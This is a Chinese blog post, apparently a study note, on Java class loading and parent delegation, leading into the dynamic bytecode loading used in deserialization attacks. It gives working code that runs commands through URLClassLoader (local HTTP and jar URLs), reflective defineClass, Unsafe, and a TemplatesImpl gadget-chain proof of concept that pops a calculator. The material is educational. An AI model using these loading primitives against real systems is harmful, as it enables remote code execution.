java类的动态加载 #
类加载器和双亲委派机制 #
类加载器的作用 #
一句话概括:把类的字节码文件(.class)加载到 JVM 内存中,并转换成可以被虚拟机直接使用的 java 类,即 Class 对象。
- 加载 Class 文件
Person p = new Person();
Person这个类本身是抽象的,通过new操作,实例化。类加载做的则是把类这个模板经过编译形成的字节码传入 JVM,生成一个具备这个类的所有数据的 Class 对象。(Class 对象就当成是这个类理解即可)
ClassLoader 的工作流程:
首先,一个类编译后形成的 class 文件经过类加载器进入 JVM并产生 Class 对象,然后在 JVM 中进行初始化,我们可以通过这个 Class 对象的 getClassLoader() 方法获取这个类对应的类加载器。我们也可以通过对这个 Class 对象调用其 newInstance() 方法来实例化一个对象,通过这个实例化对象的 getClass() 方法来获取对应的 Class 对象。
3种类加载器 #
启动类加载器 (Bootstrap ClassLoader) #
其底层原生代码属是由 C++ 编写的,属于 JVM 的一部分。
不继承于java.lang.ClassLoader类,也没有父类加载器,主要负责加载核心 java 库(即 JVM 本身),储存在/jre/lib/rt.jar中。
扩展类加载器 (ExtensionsClassLoader) #
这个类加载器是由sun.misc.Launcher$ExtClassLoader类实现的,用来加载/jre/lib/ext或java.ext.dirs指定的目录。Java 虚拟机会提供一个扩展库目录,此类加载器在目录中查找并加载 java 类。
在 JDK9 以及更高版本,由于引入了模块化系统后,此类加载器被替代为平台类加载器,加载 Java SE 平台模块(如 java.sql,java.xml 等)。
应用类加载器 #
此加载器由sun.misc.Launcher$AppClassLoader实现,一般通过java.class.path或者Classpath环境变量来加载 java 类,也就是常说的 classpath 路径。一般我们使用这个加载器来加载 java 应用类,可以通过 ClassLoader.getSystemClassLoader()来获取它。
双亲委派机制 #
一句话概括:一个类加载器收到加载请求时,不是先自己尝试加载,而是把请求委派给父加载器,一层层向上传递,直到启动类加载器。只有当父加载器反馈不加载时,子加载器才会自己尝试加载。
从错误的方向看双亲委派 #
package java.lang;
public class String {
public String toString(){
return "hello";
}
public static void main(String[] args) {
String s = new String();
s.toString();
}
}
这样看似乎没有问题,但是报错很神奇:
错误: 在类 java.lang.String 中找不到 main 方法, 请将 main 方法定义为:
public static void main(String[] args)
否则 JavaFX 应用程序类必须扩展javafx.application.Application
明明以及定义了 main 方法,却报错没有 main 方法。这里则涉及双亲委派机制。
类加载器在被调用时,也就是在new之前,是以启动类到扩展类到应用类加载器去寻找,而在启动类加载器中是能找到java.lang.String类的,这个String类里是没有 main 方法的。
代码块加载顺序 #
这里所说的代码块主要是四种:
- 静态代码块:
static{} - 构造代码块:
{} - 无参构造器:
classname() - 有参构造器:
classname(参数)
实例化对象 #
Person.java:
package LoadClass;
public class Person {
public String name;
private int age;
public static int id;
static{
System.out.println("静态代码块");
}
public static void staticFunction(){
System.out.println("静态方法");
}
{
System.out.println("构造代码块");
}
public Person() {
System.out.println("无参构造方法");
}
public Person(String name, int age) {
this.name = name;
this.age = age;
System.out.println("有参构造方法");
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
Loadclasstest.java:
package LoadClass;
public class Loadclasstest {
public static void main(String[] args) throws Exception{
Person person = new Person();
}
}
运行结果:
静态代码块
构造代码块
无参构造方法
类的实例化其实就是一种初始化,而类加载是在初始化之前触发的,静态代码块和静态方法是和类挂钩的,所以静态代码块先触发。然后不管调用的什么构造方法,都会先调用构造代码块,然后调用对应的构造方法。
调用静态方法 #
Loadclasstest.java:
package LoadClass;
public class Loadclasstest {
public static void main(String[] args) throws Exception{
Person.staticFunction();
}
}
运行结果:
静态代码块
静态方法
直接调用静态方法,会先调用静态方法块,然后调用对应的静态方法。
对静态成员变量赋值 #
Loadclasstest.java:
package LoadClass;
public class Loadclasstest {
public static void main(String[] args) throws Exception{
Person.id = 1;
}
}
运行结果:
静态代码块
对静态成员变量赋值涉及到类初始化的过程,所以静态代码块会在静态成员变量赋值时执行。
class获取类 #
package LoadClass;
public class Loadclasstest {
public static void main(String[] args) throws Exception{
Class p = Person.class;
}
}
运行结果为空,说明利用class获取类不会记载类。
forName 获取类 #
package LoadClass;
public class Loadclasstest {
public static void main(String[] args) throws Exception{
Class.forName("LoadClass.Person");
}
} //执行静态代码块
package LoadClass;
public class Loadclasstest {
public static void main(String[] args) throws Exception{
Class.forName("LoadClass.Person",true,ClassLoader.getSystemClassLoader());
}
} //执行静态代码块
package LoadClass;
public class Loadclasstest {
public static void main(String[] args) throws Exception{
Class.forName("LoadClass.Person",false,ClassLoader.getSystemClassLoader());
}
} //没有输出
这里的Class.forName()是经过重载的,第二个参数是是否进行初始化,静态代码块是在类初始化时执行的,所以会有不同的结果。
ClassLoader.loadClass()获取类 #
package LoadClass;
public class Loadclasstest {
public static void main(String[] args) throws Exception{
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class<?> c = cl.loadClass("LoadClass.Person");
}
} //没有输出
ClassLoader.loadClass()不会进行类的初始化,如果用newInstance()实例化则会由输出。
动态加载字节码 #
字节码的概念 #
字节码是 java 编译器生成的中间代码,介于源码与机器码之间,是 JVM 能够理解的指令集,被存储在 .class 文件中。
经过 java 编译器编译出的 class 文件实际是一个二进制文件,但不是机器码,我们通过 idea 打开 class 文件看到的实际上是经过 idea 反编译的代码。
类加载器的原理 #
调用 ClassLoader 的 loadClass() 方法时,会调用到内部的 findClass() 方法,而 ClassLoader 的 findClass 方法其实是没有实现的,所以到底会调用谁的 findClass 呢?由于 findClass() 是一个虚方法,运行时是根据对象的类型决定的,对象是一个自定义的对象,所以就是尝试调用AppClassLoader的 findClass 方法,但这个类没有重写这个方法,所以要去这个类的父类,即URLClassLoader来调用 findClass 方法。在 findClass 内部又调用了自身的 defineClass 方法,在自身的 defineClass 方法中又调用了父类的 defineClass 方法。所以,类加载的最终出口还是 ClassLoader 的 defineClass 方法。
由于类加载器直接加载字节码,如果我们在反序列化中能够控制类加载器加载远程字节码,就会有更多攻击手段。
URLClassLoader 加载远程 class 文件 #
URLClassLoader实际上是我们默认使用的AppClassLoader的父类,在学习URLClassLoader的工作过程其实就是在学习默认类加载器的工作流程。
一般情况下,java 会根据配置项sun.boot.class.path和java.class.path中列举的基础路径(这些路径是经过处理的java.net.URL类)来寻找 .class 文件加载,这个路径分三种情况:
- URL 没有以 / 结尾,则认为是一个 jar 包,使用
JarLoader来寻找类,即在 jar 包中寻找 class 文件 - URL 以 / 结尾,且协议名为 file,则使用
FileLoader来寻找类,在本地文件系统寻找 class 文件 - URL 以 / 结尾,协议名不是 file,则使用基本的
Loader来寻找类
file 协议 #
在测试目录新建一个 Calc.java:
import java.io.IOException;
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
在终端中 javac 编译一下,产生 class 文件。
测试代码样例:
package LoadClass;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class URLloadTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader ucl = new URLClassLoader(new URL[]{
new URL("file:///C:\\Users\\32202\\Desktop\\java测试\\out\\production\\test\\")});
Class<?> calc = ucl.loadClass("Calc");
calc.newInstance();
}
}
ucl 是一个指向这个 Calc.class 的类加载器实例,调用 loadClass 方法来加载这个类再实例化就能弹出计算器。
HTTP 协议 #
在 Calc.class 所在目录下执行python -m http.server 4444建立 HTTP 服务,编写恶意类:
package LoadClass;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class URLloadTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader ucl = new URLClassLoader(new URL[]{
new URL("http://localhost:4444")});
Class<?> calc = ucl.loadClass("Calc");
calc.newInstance();
}
}
也能弹出计算器。
file+jar 协议 #
先把这个 Calc.class 文件打包成 jar 包:jar -cvf Calc.jar Calc.class
调用恶意类:
package LoadClass;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class URLloadTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader ucl = new URLClassLoader(new URL[]{
new URL("jar:file:///C:\\Users\\32202\\Desktop\\java测试\\out\\production\\test\\Calc.jar!/")});
Class<?> calc = ucl.loadClass("Calc");
calc.newInstance();
}
}
也能弹出计算器。
HTTP+jar 协议 #
package LoadClass;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class URLloadTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader ucl = new URLClassLoader(new URL[]{
new URL("jar:http://localhost:4444/Calc.jar!/")});
Class<?> calc = ucl.loadClass("Calc");
calc.newInstance();
}
}
同样能弹出计算器。
对比之下其实还是 http 协议最灵活,能干更多的事情。
ClassLoader#defineClass 直接加载字节码 #
在上面分析过,类加载的终点是 ClassLoader 的 defineClass 方法,它将传入的字节码转化成真正的 java 类。我们可以利用这个方法实现攻击。
ClassLoader#defineClass:
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(name, b, off, len, null);
}
name是类名,b是字节数组,off是偏移量,即从字节数组的生命位置开始读取,len是字节数组的长度。
这是一个受保护的方法,利用反射调用该方法实现字节码的加载,实例化后可进行其他攻击手法。
package LoadClass;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class DefineClassTest {
public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {
ClassLoader scl = ClassLoader.getSystemClassLoader();
Method dc = ClassLoader.class.getDeclaredMethod("defineClass",
String.class, byte[].class, int.class, int.class);
dc.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\32202\\Desktop\\java测试\\out\\production\\test\\Calc.class"));
Class calc =(Class)dc.invoke(scl, "Calc", code, 0, code.length);
calc.newInstance();
}
}
Unsafe 加载字节码 #
Unsafe 类中也有 defineClass 方法,也是 defineClass 加载字节码。
Unsafe 类里面有个属性theUnsafe,值是一个 Unsafe 对象,但是我们实际是无法直接拿到这个属性的。该类里面也有一个getUnsafe方法会返回这个theUnsafe属性,虽然该方法是 public 的,但是由于是采用单例模式设计的,也无法直接调用,所以需要反射进行调用。
package LoadClass;
import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;
public class UnsafeLoadTest {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, IOException, InvocationTargetException, InstantiationException {
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class<Unsafe> unsafeClass = Unsafe.class;
Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe o = (Unsafe) theUnsafe.get(null);
Method defineClass = unsafeClass.getDeclaredMethod("defineClass", String.class, byte[].class,
int.class, int.class,ClassLoader.class, ProtectionDomain.class);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\32202\\Desktop\\java测试\\out\\production\\test\\Calc.class"));
Class calc = (Class)defineClass.invoke(o, "Calc", code, 0, code.length, cl, null);
calc.newInstance();
}
}
TemplatesImpl 加载字节码 #
定位到TemplatesImpl类,我们会找到一个内部类TransletClassLoader,该类继承了ClassLoader,并且重写了defineClass方法。
源码:
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
这里我们可以看到,defineClass 方法的访问权限从父类的受保护类型变成了现在的默认类型,这样一来,在同一个包内的TemplatesImpl就能直接调用它来加载字节码。
从TransletClassLoader#defineClass()追溯调用链:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
前两个入口的源码:
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
/**
* Implements JAXP's Templates.getOutputProperties(). We need to
* instanciate a translet to get the output settings, so
* we might as well just instanciate a Transformer and use its
* implementation of this method.
*/
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
在newTransformer()内部直接调用newTransformer(),在这个方法内,transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);,这里很明显调用了getTransletInstance()方法,这就意味着每次调用newTransformer()来创建TransformerImpl对象时都会去执行getTransletInstance()。
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
第一步安检:if (_name == null) return null;,这表明在利用时必须要利用反射给这个属性赋任意值,不然调用链直接断了。
第二步安检:if (_class == null) defineTransletClasses();,_class为空时才调用defineTransletClasses()把字节码转化为Class对象。
注:_class是一个Class[]数组,用来存放已经加载过的类,防止重复加载。对于一个全新的TemplatesImpl实例,_class默认是null,所以首次调用一定会调用defineTransletClasses()。
最终执行:AbstractTranslet translet=(AbstractTranslet)_class[_transletIndex].newInstance();
_class[_transletIndex]取出恶意类。_class数组已经在defineTransletClasses()赋值。_transletIndex是在那个方法中确定的,指向是那个父类为AbstractTranslet的类在数组中的位置.newInstance()实例化,这里就是触发点,如果恶意代码写在类的静态代码块或者无参构造方法中则会执行。
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
这是利用链中最核心的部分,负责把_bytecodes里的字节码变成可执行的Class对象,并筛选出恶意类。
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),
_tfactory.getExternalExtensionsMap());
}
});
这里创建了一个自定义类加载器,这是上面所讲的TransletClassLoader这个内部类,继承于ClassLoader。然后则是遍历并加载所有字节码。
然后就是最关键的一步:父类检查。
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
这里判断了刚刚加载的类是不是ABSTRACT_TRANSLET,即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
如果是,则把当前索引赋值给_transletIndex,标记这个类是主类。如果不是,则当作是辅助类,存入_auxClasses备用。
这就说明,我们的恶意类必须继承AbstractTranslet,否则最终无法被实例化。
到此调用链基本结束。
利用 TemplatesImpl#newTransformer() 构造简单POC #
根据上面的分析,我们构造的字节码必须继承于AbstractTranslet这个抽象类,所以需要重写一下里面的方法。
package LoadClass;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class TemplatesBytes extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public TemplatesBytes() throws Exception{
super();
Runtime.getRuntime().exec("Calc");
}
}
package LoadClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.File;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class TemplatesImpILoadTest {
public static void setFieldval(Object obj,String fieldName,Object value) throws Exception{
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj,value);
}
public static void main(String[] args) throws Exception{
byte[] codes = Files.readAllBytes(Paths.get("C:\\Users\\32202\\Desktop\\java测试\\test\\src\\LoadClass\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldval(templates,"_name","Calc");
setFieldval(templates,"_bytecodes",new byte[][]{codes});
setFieldval(templates,"_tfactory",new TransformerFactoryImpl());
/*这一步很重要,因为在源码中有
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());,而_tfactory默认是null,
需要赋一个值来让程序走下去*/
templates.newTransformer();
}
}
这里在运行时会报一个空指针的错,但是没什么影响,依然会弹出计算器。
总结 #
类加载这部分内容感觉还是挺重要的,所以专门写了这一篇博客来记录一下我的学习成果,不过主要还是参考了别的大佬的内容,可以说内容几乎是一样的,但是其中也加了一些我自己的理解。
这一篇博客还只是对类加载的基本认识,中间有些地方还是有一点模糊的,但是相比之前已经有了很大改善了,也是有了不小的收获吧。之后还会有更多关于动态加载字节码的内容,遇到之后会继续更新。